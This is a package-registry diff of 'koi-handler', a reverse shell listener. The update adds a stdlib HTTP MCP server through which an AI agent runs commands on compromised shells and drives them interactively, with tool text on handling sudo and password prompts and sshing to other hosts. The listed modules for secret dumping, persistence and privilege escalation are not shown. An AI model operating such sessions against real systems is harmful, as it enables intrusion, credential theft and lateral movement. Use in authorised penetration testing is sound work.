koi-handler 0.12.4__tar.gz → 0.12.6__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (71) hide show
  1. {koi_handler-0.12.4/src/koi_handler.egg-info → koi_handler-0.12.6}/PKG-INFO +1 -5
  2. {koi_handler-0.12.4 → koi_handler-0.12.6}/pyproject.toml +2 -11
  3. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/listener.py +0 -6
  4. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/main.py +10 -11
  5. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/mcp/schema.py +0 -4
  6. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/mcp/server.py +306 -89
  7. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/modules/blueprint.py +2 -2
  8. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/modules/download.py +1 -1
  9. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/modules/upload.py +1 -1
  10. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/modules/upload64.py +1 -1
  11. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/tunnel/engine/__main__.py +1 -4
  12. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/utils/ui.py +11 -4
  13. {koi_handler-0.12.4 → koi_handler-0.12.6/src/koi_handler.egg-info}/PKG-INFO +1 -5
  14. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi_handler.egg-info/SOURCES.txt +0 -1
  15. koi_handler-0.12.4/src/koi_handler.egg-info/requires.txt +0 -5
  16. {koi_handler-0.12.4 → koi_handler-0.12.6}/LICENSE +0 -0
  17. {koi_handler-0.12.4 → koi_handler-0.12.6}/setup.cfg +0 -0
  18. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/mcp/__init__.py +0 -0
  19. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/modules/duplicate.py +0 -0
  20. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/modules/get_processes.py +0 -0
  21. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/modules/get_users.py +0 -0
  22. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/modules/ligolo.py +0 -0
  23. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/modules/loader.py +0 -0
  24. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/modules/network_enum.py +0 -0
  25. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/modules/peas.py +0 -0
  26. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/modules/populate_win.py +0 -0
  27. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/modules/secrets_dump.py +0 -0
  28. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/modules/sharphound.py +0 -0
  29. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/modules/ssh_persist.py +0 -0
  30. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/modules/sysinfo.py +0 -0
  31. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/modules/wifi_enum.py +0 -0
  32. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/modules/winscalate.py +0 -0
  33. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/session.py +0 -0
  34. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/tunnel/__init__.py +0 -0
  35. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/tunnel/agent_payload.py +0 -0
  36. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/tunnel/engine/__init__.py +0 -0
  37. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/tunnel/engine/agent.py +0 -0
  38. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/tunnel/engine/packet.py +0 -0
  39. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/tunnel/engine/proxy.py +0 -0
  40. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/tunnel/engine/stack.py +0 -0
  41. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/tunnel/engine/tcp.py +0 -0
  42. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/tunnel/engine/transport.py +0 -0
  43. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/tunnel/engine/tun.py +0 -0
  44. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/tunnel/manager.py +0 -0
  45. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/utils/__init__.py +0 -0
  46. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/utils/bash_obfuscate.py +0 -0
  47. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/utils/cache.py +0 -0
  48. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/utils/cli.py +0 -0
  49. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/utils/config.py +0 -0
  50. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/utils/config_ui.py +0 -0
  51. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/utils/connect/__init__.py +0 -0
  52. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/utils/connect/base.py +0 -0
  53. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/utils/connect/ntlm.py +0 -0
  54. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/utils/connect/ssh.py +0 -0
  55. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/utils/connect/winrm.py +0 -0
  56. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/utils/connect/wsman.py +0 -0
  57. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/utils/constants.py +0 -0
  58. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/utils/detect.py +0 -0
  59. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/utils/interact.py +0 -0
  60. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/utils/logger.py +0 -0
  61. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/utils/models.py +0 -0
  62. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/utils/obfuscate_ui.py +0 -0
  63. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/utils/payloads.py +0 -0
  64. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/utils/powerupgrade.py +0 -0
  65. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/utils/ps_obfuscate.py +0 -0
  66. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/utils/tcp.py +0 -0
  67. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/utils/terminal.py +0 -0
  68. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi/utils/tls.py +0 -0
  69. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi_handler.egg-info/dependency_links.txt +0 -0
  70. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi_handler.egg-info/entry_points.txt +0 -0
  71. {koi_handler-0.12.4 → koi_handler-0.12.6}/src/koi_handler.egg-info/top_level.txt +0 -0
@@ -1,11 +1,7 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: koi-handler
3
- Version: 0.12.4
3
+ Version: 0.12.6
4
4
  Summary: Reverse shell listener
5
5
  Requires-Python: >=3.10
6
6
  License-File: LICENSE
7
- Requires-Dist: mcp>=2.0
8
- Requires-Dist: uvicorn>=0.30
9
- Requires-Dist: starlette>=0.40
10
- Provides-Extra: mcp
11
7
  Dynamic: license-file
@@ -4,19 +4,10 @@ build-backend = "setuptools.build_meta"
4
4
 
5
5
  [project]
6
6
  name = "koi-handler"
7
- version = "0.12.4"
7
+ version = "0.12.6"
8
8
  description = "Reverse shell listener"
9
9
  requires-python = ">=3.10"
10
- dependencies = [
11
- "mcp>=2.0",
12
- "uvicorn>=0.30",
13
- "starlette>=0.40",
14
- ]
15
-
16
- [project.optional-dependencies]
17
- # Kept as an empty alias so `pipx install "koi-handler[mcp]"` still resolves for
18
- # anyone with it in a script or doc; the deps now live in core.
19
- mcp = []
10
+ dependencies = []
20
11
 
21
12
  [project.scripts]
22
13
  koi = "koi.main:main"
@@ -1231,11 +1231,5 @@ class Listener:
1231
1231
  return
1232
1232
  self._winch_pending = False
1233
1233
  if sess.os_type in ("windows_cmd", "windows_ps"):
1234
- if sess.is_conptyshell:
1235
- try:
1236
- cols, rows = shutil.get_terminal_size()
1237
- sess.send(f"\x08{cols}x{rows}".encode())
1238
- except Exception:
1239
- pass
1240
1234
  return
1241
1235
  self._sync_winsize(sess)
@@ -7,7 +7,7 @@ import sys
7
7
 
8
8
  from koi.listener import Listener
9
9
  from koi.utils.config import CONFIG
10
- from koi.utils.ui import notify, display_art, print_payloads, __version__
10
+ from koi.utils.ui import notify, display_art, print_payloads, __version__, _PKG_NAME
11
11
  from koi.utils.obfuscate_ui import run_obfuscate_ui
12
12
  from koi.utils.logger import review as _review
13
13
  from koi.utils.logger import clear_log as _clear_log
@@ -104,14 +104,18 @@ def _print_version() -> None:
104
104
  if latest == local:
105
105
  print(dim("up to date"))
106
106
  else:
107
- print(f"\n{accent(f'v{latest}')} is available! {dim('pipx upgrade koi-handler')}")
107
+ if _PKG_NAME == "koi":
108
+ hint = dim("sudo apt update && sudo apt upgrade koi")
109
+ else:
110
+ hint = dim("pipx upgrade koi-handler")
111
+ print(f"\n{accent(f'v{latest}')} is available!\n{hint}")
108
112
  except Exception:
109
113
  print(dim(" could not check for updates"))
110
114
 
111
115
 
112
116
  def main():
113
117
  parser = argparse.ArgumentParser(
114
- description="koi – multi-session reverse shell listener",
118
+ description="koi, multi-session reverse shell listener",
115
119
  add_help=False,
116
120
  )
117
121
  parser.add_argument("-h", "--help", action=_ArtHelpAction, help="show this help message and exit")
@@ -198,12 +202,7 @@ def main():
198
202
  keep_history=args.keep_history, no_log=not args.logging)
199
203
 
200
204
  if args.mcp:
201
- from koi.mcp.server import KoiMCPServer, missing_dependencies
202
-
203
- if missing := missing_dependencies():
204
- notify('error', f"MCP dependencies missing: {', '.join(missing)}")
205
- notify('status', "Reinstall to restore them: pipx install --force koi-handler")
206
- sys.exit(1)
205
+ from koi.mcp.server import KoiMCPServer
207
206
 
208
207
  listener.mcp_server = KoiMCPServer(
209
208
  listener,
@@ -226,7 +225,7 @@ def main():
226
225
 
227
226
  def koireview():
228
227
  parser = argparse.ArgumentParser(
229
- description="koireview – review a recorded Koi session",
228
+ description="koireview, review a recorded Koi session",
230
229
  add_help=False,
231
230
  )
232
231
  parser.add_argument("-h", "--help", action=_ArtHelpAction, help="show this help message and exit")
@@ -261,7 +260,7 @@ def koireview():
261
260
 
262
261
  def obfuscator():
263
262
  parser = argparse.ArgumentParser(
264
- description="koifuscator – payload obfuscator",
263
+ description="koifuscator, payload obfuscator",
265
264
  add_help=False,
266
265
  )
267
266
  parser.add_argument("-h", "--help", action=_ArtHelpAction, help="show this help message and exit")
@@ -10,8 +10,6 @@ from typing import Any, Dict, List, Optional, Tuple, Type
10
10
 
11
11
  _ARRAY_NARGS = ("+", "*")
12
12
 
13
- # argparse `type=` callables we can express in JSON Schema. Anything else is
14
- # passed through as a string and left for argparse to coerce on the way back in.
15
13
  _SCALAR_TYPES: Dict[Any, str] = {
16
14
  int: "integer",
17
15
  float: "number",
@@ -74,7 +72,6 @@ def argument_schema(spec: Dict[str, Any]) -> Tuple[str, Dict[str, Any], bool]:
74
72
  if default is not None:
75
73
  schema["default"] = default
76
74
 
77
- # Only a positional with no default is truly required; nargs='*' tolerates empty.
78
75
  required = (
79
76
  _is_positional(flags)
80
77
  and default is None
@@ -129,7 +126,6 @@ def schema_to_argv(mod_cls: Type, values: Optional[Dict[str, Any]]) -> List[str]
129
126
 
130
127
  action = spec.get("action")
131
128
  if action in ("store_true", "store_false"):
132
- # Presence is the signal; store_false inverts it.
133
129
  wants_flag = bool(value) if action == "store_true" else not bool(value)
134
130
  if wants_flag:
135
131
  optionals.append(_primary_flag(flags))
@@ -1,26 +1,28 @@
1
- """MCP server over HTTP, not stdio: stdin/stdout belong to the REPL."""
1
+ """MCP server over HTTP, stdlib only: no external SDK needed."""
2
2
 
3
3
  from __future__ import annotations
4
4
 
5
- import asyncio
6
5
  import base64
7
6
  import contextlib
7
+ import hmac
8
8
  import io
9
9
  import json
10
10
  import logging
11
11
  import ntpath
12
12
  import posixpath
13
13
  import secrets
14
+ import socketserver
14
15
  import sys
15
16
  import threading
16
17
  import time
18
+ from http.server import BaseHTTPRequestHandler, HTTPServer
17
19
  from pathlib import Path
18
20
  from typing import TYPE_CHECKING, Any, Dict, List, Optional
19
21
 
20
22
  from koi.mcp.schema import module_input_schema, schema_to_argv
21
23
  from koi.modules.blueprint import KoiModule
22
- from koi.session import SessionBusy
23
- from koi.utils.constants import ANSI_RE
24
+ from koi.session import SessionBusy, recv_ready
25
+ from koi.utils.constants import ANSI_RE, SOCKET_BUFFER_SIZE
24
26
  from koi.utils.logger import list_logs, log_dir
25
27
  from koi.utils.ui import accent, muted, plain
26
28
 
@@ -40,17 +42,29 @@ _MAX_EXEC_TIMEOUT = 600.0
40
42
  _MAX_TAG_LEN = 64
41
43
  _MAX_OUTPUT_BYTES = 256 * 1024
42
44
 
45
+ _INTERACTIVE_MAX_WAIT = 30.0
46
+ _INTERACTIVE_IDLE_GRACE = 0.3
47
+ _INTERACTIVE_MAX_BYTES = 8 * 1024
48
+ _INTERACTIVE_DRAIN_CAP = 256 * 1024
43
49
 
44
- # Tools that mutate state or run code: never offered on a read-only connection.
45
- _EXEC_ONLY_TOOLS = {"koi_exec", "koi_tag", "koi_tunnel_start", "koi_tunnel_stop"}
50
+ _SIGNAL_KEYS: Dict[str, bytes] = {
51
+ "ctrl_c": b"\x03",
52
+ "ctrl_d": b"\x04",
53
+ "ctrl_l": b"\x0c",
54
+ "enter": b"\r",
55
+ "tab": b"\t",
56
+ "esc": b"\x1b",
57
+ "up": b"\x1b[A",
58
+ "down": b"\x1b[B",
59
+ }
46
60
 
47
- _REQUIRED_PACKAGES = ("mcp", "uvicorn", "starlette")
48
61
 
62
+ _EXEC_ONLY_TOOLS = {
63
+ "koi_exec", "koi_tag", "koi_tunnel_start", "koi_tunnel_stop",
64
+ "koi_session_write", "koi_session_read", "koi_session_signal",
65
+ }
49
66
 
50
- def missing_dependencies() -> List[str]:
51
- import importlib.util
52
-
53
- return [n for n in _REQUIRED_PACKAGES if importlib.util.find_spec(n) is None]
67
+ _PROTOCOL_VERSIONS = ("2025-06-18", "2025-03-26", "2024-11-05")
54
68
 
55
69
 
56
70
  def _cap(text: str) -> tuple[str, bool]:
@@ -97,7 +111,7 @@ def _exec_timeout(value) -> float:
97
111
  timeout = float(value)
98
112
  except ValueError:
99
113
  raise ValueError(f"timeout must be a number, got {value!r}") from None
100
- if timeout <= 0 or timeout != timeout: # NaN compares unequal to itself
114
+ if timeout <= 0 or timeout != timeout:
101
115
  raise ValueError(f"timeout must be greater than 0, got {value!r}")
102
116
  return min(timeout, _MAX_EXEC_TIMEOUT)
103
117
 
@@ -123,17 +137,19 @@ def _uptime(since: Optional[float]) -> Optional[str]:
123
137
  def _version() -> str:
124
138
  from importlib.metadata import PackageNotFoundError, version
125
139
 
126
- try:
127
- return version("koi-handler")
128
- except PackageNotFoundError:
129
- return "unknown"
140
+ for candidate in ("koi-handler", "koi"):
141
+ try:
142
+ return version(candidate)
143
+ except PackageNotFoundError:
144
+ continue
145
+ return "unknown"
130
146
 
131
147
 
132
148
  def _tool(name: str, description: str, properties=None, required=None, annotations=None) -> Dict[str, Any]:
133
149
  schema: Dict[str, Any] = {"type": "object", "properties": properties or {}}
134
150
  if required:
135
151
  schema["required"] = required
136
- tool: Dict[str, Any] = {"name": name, "description": description, "input_schema": schema}
152
+ tool: Dict[str, Any] = {"name": name, "description": description, "inputSchema": schema}
137
153
  if annotations:
138
154
  tool["annotations"] = annotations
139
155
  return tool
@@ -361,8 +377,13 @@ class KoiMCPServer:
361
377
  ),
362
378
  _tool(
363
379
  "koi_exec",
364
- "Run a shell command on a session (Linux or Windows) and return "
365
- "its stdout and exit code.",
380
+ "Run one shell command on a session (Linux or Windows) and "
381
+ "return its stdout and exit code. One-shot and non-interactive. "
382
+ "If a koi_module_* tool covers the task use it instead; in "
383
+ "particular move files with koi_module_upload / "
384
+ "koi_module_download, not by echoing bytes here. For a program "
385
+ "that prompts or stays interactive, use "
386
+ "koi_session_write/read/signal.",
366
387
  {
367
388
  "session": session,
368
389
  "command": {"type": "string", "description": "Command to run."},
@@ -419,6 +440,52 @@ class KoiMCPServer:
419
440
  {"session": session},
420
441
  ["session"],
421
442
  ),
443
+ _tool(
444
+ "koi_session_write",
445
+ "Interactive mode: write raw text to a session's shell, no newline "
446
+ "added (include \\n yourself to submit a line). Use this with "
447
+ "koi_session_read to drive interactive programs koi_exec cannot "
448
+ "handle (sudo/password prompts, REPLs, ssh). Does not wait for or "
449
+ "return output; call koi_session_read after. Not for file "
450
+ "transfer: use koi_module_upload / koi_module_download.",
451
+ {
452
+ "session": session,
453
+ "data": {"type": "string", "description": "Raw text to send as-is."},
454
+ },
455
+ ["session", "data"],
456
+ ),
457
+ _tool(
458
+ "koi_session_read",
459
+ "Interactive mode: drain and return output waiting on a session "
460
+ "since the last read. Non-blocking beyond 'wait'. The result is "
461
+ "tail-capped, so it stays cheap. 'producing' true means output was "
462
+ "still flowing (call again); false means it settled or nothing came.",
463
+ {
464
+ "session": session,
465
+ "wait": {
466
+ "type": "number",
467
+ "description": "Max seconds to wait for output (0-30).",
468
+ "default": 1,
469
+ },
470
+ },
471
+ ["session"],
472
+ ),
473
+ _tool(
474
+ "koi_session_signal",
475
+ "Interactive mode: send a control key to a session. One of: "
476
+ "ctrl_c, ctrl_d, ctrl_l, enter, tab, esc, up, down. Ctrl+C "
477
+ "reliably interrupts a running process only on an upgraded (PTY) "
478
+ "session; on a raw shell it just sends the byte.",
479
+ {
480
+ "session": session,
481
+ "key": {
482
+ "type": "string",
483
+ "description": "Control key name.",
484
+ "enum": sorted(_SIGNAL_KEYS),
485
+ },
486
+ },
487
+ ["session", "key"],
488
+ ),
422
489
  ]
423
490
 
424
491
  def _module_tools(self) -> List[Dict[str, Any]]:
@@ -442,7 +509,6 @@ class KoiMCPServer:
442
509
  f"{(cls.description or '').strip()} (targets: {targets})",
443
510
  schema["properties"],
444
511
  schema["required"],
445
- # camelCase: ToolAnnotations fields carry no alias in mcp 2.x.
446
512
  annotations={"destructiveHint": True},
447
513
  )
448
514
  )
@@ -512,6 +578,15 @@ class KoiMCPServer:
512
578
  if name == "koi_exec":
513
579
  return self._do_exec(arguments)
514
580
 
581
+ if name == "koi_session_write":
582
+ return self._do_session_write(arguments)
583
+
584
+ if name == "koi_session_read":
585
+ return self._do_session_read(arguments)
586
+
587
+ if name == "koi_session_signal":
588
+ return self._do_session_signal(arguments)
589
+
515
590
  if name.startswith(_MODULE_TOOL_PREFIX):
516
591
  return self._do_run_module(name[len(_MODULE_TOOL_PREFIX):], arguments)
517
592
 
@@ -566,6 +641,111 @@ class KoiMCPServer:
566
641
  payload["truncated"] = True
567
642
  return json.dumps(payload, indent=2)
568
643
 
644
+ def _drain_session(self, sess: "Session", wait: float) -> tuple[str, bool, bool]:
645
+ """Drain pending socket output for up to *wait* seconds.
646
+
647
+ No sentinel: there is no notion of a command finishing here, so the read
648
+ settles on an idle grace instead. Returns (text, producing, truncated).
649
+ """
650
+ wait = max(0.0, min(float(wait), _INTERACTIVE_MAX_WAIT))
651
+ hard_cap = _INTERACTIVE_DRAIN_CAP
652
+
653
+ buf = b""
654
+ producing = False
655
+ try:
656
+ with sess.io(holder="mcp:interactive", timeout=_IO_TIMEOUT):
657
+ deadline = time.monotonic() + wait
658
+ last_data = None
659
+ while True:
660
+ now = time.monotonic()
661
+ if now >= deadline:
662
+ producing = last_data is not None
663
+ break
664
+ if last_data is not None and (now - last_data) >= _INTERACTIVE_IDLE_GRACE:
665
+ break
666
+ slice_timeout = min(deadline - now, _INTERACTIVE_IDLE_GRACE)
667
+ if not recv_ready(sess.conn, slice_timeout):
668
+ continue
669
+ chunk = sess.recv(SOCKET_BUFFER_SIZE)
670
+ if not chunk:
671
+ sess.alive = False
672
+ break
673
+ buf += chunk
674
+ last_data = time.monotonic()
675
+ if len(buf) >= hard_cap:
676
+ producing = True
677
+ break
678
+ except SessionBusy as exc:
679
+ raise RuntimeError(str(exc)) from exc
680
+
681
+ if sess._logger and buf:
682
+ sess._logger.log_output(buf)
683
+
684
+ text = _strip_ansi(buf.decode(sess.encoding or "utf-8", errors="replace"))
685
+ truncated = False
686
+ if len(text) > _INTERACTIVE_MAX_BYTES:
687
+ text = "[... earlier output truncated ...]\n" + text[-_INTERACTIVE_MAX_BYTES:]
688
+ truncated = True
689
+ return text, producing, truncated
690
+
691
+ def _do_session_write(self, arguments: Dict[str, Any]) -> str:
692
+ self._require_exec()
693
+ sess = self._resolve(arguments["session"])
694
+ data = arguments.get("data")
695
+ if not isinstance(data, str) or data == "":
696
+ raise ValueError("data must be a non-empty string")
697
+
698
+ ts = time.strftime("%H:%M:%S")
699
+ self.listener._announce('status', f"{accent(ts)} {plain('MCP: write')} {muted(data.strip() or data)} {plain(f'on session #{sess.id}')}")
700
+ with _capture_output():
701
+ logger_obj = self.listener._ensure_logger(sess)
702
+ sess.attach_logger(logger_obj)
703
+
704
+ raw = data.encode(sess.encoding, errors="replace")
705
+ if not sess.send(raw):
706
+ raise RuntimeError(f"Session #{sess.id} is no longer alive")
707
+ return json.dumps({"session": sess.id, "sent": len(raw)})
708
+
709
+ def _do_session_read(self, arguments: Dict[str, Any]) -> str:
710
+ self._require_exec()
711
+ sess = self._resolve(arguments["session"])
712
+ wait = arguments.get("wait", 1)
713
+ if isinstance(wait, bool) or not isinstance(wait, (int, float)):
714
+ raise ValueError("wait must be a number")
715
+
716
+ with _capture_output():
717
+ logger_obj = self.listener._ensure_logger(sess)
718
+ sess.attach_logger(logger_obj)
719
+
720
+ text, producing, truncated = self._drain_session(sess, wait)
721
+ payload = {
722
+ "session": sess.id,
723
+ "output": text,
724
+ "producing": producing,
725
+ }
726
+ if truncated:
727
+ payload["truncated"] = True
728
+ return json.dumps(payload, indent=2)
729
+
730
+ def _do_session_signal(self, arguments: Dict[str, Any]) -> str:
731
+ self._require_exec()
732
+ sess = self._resolve(arguments["session"])
733
+ key = arguments.get("key")
734
+ seq = _SIGNAL_KEYS.get(key) if isinstance(key, str) else None
735
+ if seq is None:
736
+ valid = ", ".join(sorted(_SIGNAL_KEYS))
737
+ raise ValueError(f"Unknown key {key!r}; valid keys: {valid}")
738
+
739
+ ts = time.strftime("%H:%M:%S")
740
+ self.listener._announce('status', f"{accent(ts)} {plain('MCP: signal')} {muted(key)} {plain(f'on session #{sess.id}')}")
741
+ with _capture_output():
742
+ logger_obj = self.listener._ensure_logger(sess)
743
+ sess.attach_logger(logger_obj)
744
+
745
+ if not sess.send(seq):
746
+ raise RuntimeError(f"Session #{sess.id} is no longer alive")
747
+ return json.dumps({"session": sess.id, "sent_key": key})
748
+
569
749
  def _do_run_module(self, mod_name: str, arguments: Dict[str, Any]) -> str:
570
750
  self._require_exec()
571
751
  from koi.modules.loader import get_module
@@ -700,88 +880,125 @@ class KoiMCPServer:
700
880
  "session ids are reused across tools and a tag can replace an id.\n\n"
701
881
  "One command runs on a session at a time. A tool call fails fast "
702
882
  "with a busy error when the operator is interacting with that shell, "
703
- "which is expected: retry later rather than escalating. Prefer a "
704
- "module over a hand-written command when one covers the task, since "
705
- "modules handle the per-OS quirks and the PTY protocol already."
883
+ "which is expected: retry later rather than escalating.\n\n"
884
+ "Pick a tool in this order. First, if a koi_module_* tool covers the "
885
+ "task, prefer it: modules handle the per-OS quirks, chunking and "
886
+ "integrity checks a hand-written command does not. In particular, "
887
+ "move files with koi_module_upload / koi_module_download, never by "
888
+ "echoing base64 through koi_exec. Second, for a simple one-shot "
889
+ "command no module covers, use koi_exec. Third, for a program "
890
+ "koi_exec cannot handle because it prompts or stays interactive "
891
+ "(sudo/password prompts, a REPL, ssh to another host), drive the "
892
+ "shell with koi_session_write / koi_session_read / koi_session_signal: "
893
+ "write input, then read until 'producing' is false, and send control "
894
+ "keys (e.g. ctrl_c) with koi_session_signal."
706
895
  )
707
896
 
708
- def _build_app(self):
709
- import mcp.types as types
710
- from mcp.server.lowlevel import Server
897
+ def _dispatch(self, method: str, params: Optional[Dict[str, Any]]) -> Optional[Dict[str, Any]]:
898
+ if method == "initialize":
899
+ client_version = (params or {}).get("protocolVersion", _PROTOCOL_VERSIONS[0])
900
+ version = client_version if client_version in _PROTOCOL_VERSIONS else _PROTOCOL_VERSIONS[0]
901
+ return {
902
+ "protocolVersion": version,
903
+ "capabilities": {"tools": {"listChanged": False}, "resources": {"listChanged": False}},
904
+ "serverInfo": {"name": "koi", "version": _version(), "title": "Koi"},
905
+ "instructions": self._instructions(),
906
+ }
711
907
 
712
- async def on_list_tools(ctx, params) -> types.ListToolsResult:
713
- return types.ListToolsResult(tools=[types.Tool(**t) for t in self._list_tools()])
908
+ if method == "tools/list":
909
+ return {"tools": self._list_tools()}
714
910
 
715
- async def on_call_tool(ctx, params) -> types.CallToolResult:
911
+ if method == "tools/call":
912
+ name = (params or {}).get("name", "")
913
+ arguments = (params or {}).get("arguments") or {}
716
914
  try:
717
- text = await asyncio.to_thread(
718
- self.call_tool, params.name, params.arguments or {}
719
- )
915
+ text = self.call_tool(name, arguments)
720
916
  except Exception as exc:
721
- return types.CallToolResult(
722
- content=[types.TextContent(type="text", text=f"{type(exc).__name__}: {exc}")],
723
- is_error=True,
724
- )
725
- return types.CallToolResult(content=[types.TextContent(type="text", text=text)])
917
+ return {
918
+ "content": [{"type": "text", "text": f"{type(exc).__name__}: {exc}"}],
919
+ "isError": True,
920
+ }
921
+ return {"content": [{"type": "text", "text": text}]}
726
922
 
727
- async def on_list_resources(ctx, params) -> types.ListResourcesResult:
728
- return types.ListResourcesResult(
729
- resources=[types.Resource(**r) for r in self.list_resources()]
730
- )
923
+ if method == "resources/list":
924
+ return {"resources": self.list_resources()}
731
925
 
732
- async def on_read_resource(ctx, params) -> types.ReadResourceResult:
733
- uri = str(params.uri)
734
- text = await asyncio.to_thread(self.read_resource, uri)
735
- return types.ReadResourceResult(
736
- contents=[types.TextResourceContents(uri=uri, mime_type="text/plain", text=text)]
737
- )
926
+ if method == "resources/read":
927
+ uri = (params or {}).get("uri", "")
928
+ text = self.read_resource(str(uri))
929
+ return {"contents": [{"uri": str(uri), "mimeType": "text/plain", "text": text}]}
738
930
 
739
- server = Server(
740
- "koi",
741
- version=_version(),
742
- title="Koi",
743
- website_url="https://b3rt1ng.github.io/koi-wiki/",
744
- instructions=self._instructions(),
745
- on_list_tools=on_list_tools,
746
- on_call_tool=on_call_tool,
747
- on_list_resources=on_list_resources,
748
- on_read_resource=on_read_resource,
749
- )
750
- inner = server.streamable_http_app(streamable_http_path="/mcp", host=self.host)
751
-
752
- async def app(scope, receive, send):
753
- scope_type = scope.get("type")
754
- if scope_type == "http":
755
- from starlette.responses import JSONResponse
756
-
757
- headers = dict(scope.get("headers") or [])
758
- provided = headers.get(b"authorization", b"").decode(errors="replace")
759
- if not secrets.compare_digest(provided, f"Bearer {self.token}"):
760
- await JSONResponse({"error": "unauthorized"}, status_code=401)(
761
- scope, receive, send
762
- )
763
- return
764
- elif scope_type != "lifespan":
765
- # Fail closed: any other transport (e.g. websocket) must not bypass the token.
766
- return
767
- await inner(scope, receive, send)
931
+ if method.startswith("notifications/"):
932
+ return None
933
+
934
+ raise ValueError(f"Method not found: {method}")
935
+
936
+ def _handle_jsonrpc(self, body: bytes) -> Optional[bytes]:
937
+ try:
938
+ msg = json.loads(body)
939
+ except (json.JSONDecodeError, UnicodeDecodeError):
940
+ return json.dumps({"jsonrpc": "2.0", "id": None, "error": {"code": -32700, "message": "Parse error"}}).encode()
941
+
942
+ req_id = msg.get("id")
943
+ method = msg.get("method", "")
944
+ params = msg.get("params")
945
+
946
+ if req_id is None and method.startswith("notifications/"):
947
+ self._dispatch(method, params)
948
+ return None
949
+
950
+ try:
951
+ result = self._dispatch(method, params)
952
+ except ValueError as exc:
953
+ return json.dumps({"jsonrpc": "2.0", "id": req_id, "error": {"code": -32601, "message": str(exc)}}).encode()
954
+ except Exception as exc:
955
+ return json.dumps({"jsonrpc": "2.0", "id": req_id, "error": {"code": -32603, "message": f"{type(exc).__name__}: {exc}"}}).encode()
768
956
 
769
- return app
957
+ if result is None:
958
+ return None
959
+
960
+ return json.dumps({"jsonrpc": "2.0", "id": req_id, "result": result}).encode()
770
961
 
771
962
  def _serve(self) -> None:
963
+ mcp_server = self
964
+
965
+ class _Handler(BaseHTTPRequestHandler):
966
+ def log_message(self, fmt, *args):
967
+ pass
968
+
969
+ def do_POST(self):
970
+ if self.path != "/mcp":
971
+ self.send_error(404)
972
+ return
973
+ auth = self.headers.get("Authorization", "")
974
+ if not hmac.compare_digest(auth, f"Bearer {mcp_server.token}"):
975
+ self.send_error(401)
976
+ return
977
+ length = int(self.headers.get("Content-Length", 0))
978
+ body = self.rfile.read(length) if length else b""
979
+ resp = mcp_server._handle_jsonrpc(body)
980
+ if resp is None:
981
+ self.send_response(204)
982
+ self.end_headers()
983
+ return
984
+ self.send_response(200)
985
+ self.send_header("Content-Type", "application/json")
986
+ self.send_header("Content-Length", str(len(resp)))
987
+ self.end_headers()
988
+ self.wfile.write(resp)
989
+
990
+ def do_GET(self):
991
+ self.send_error(405)
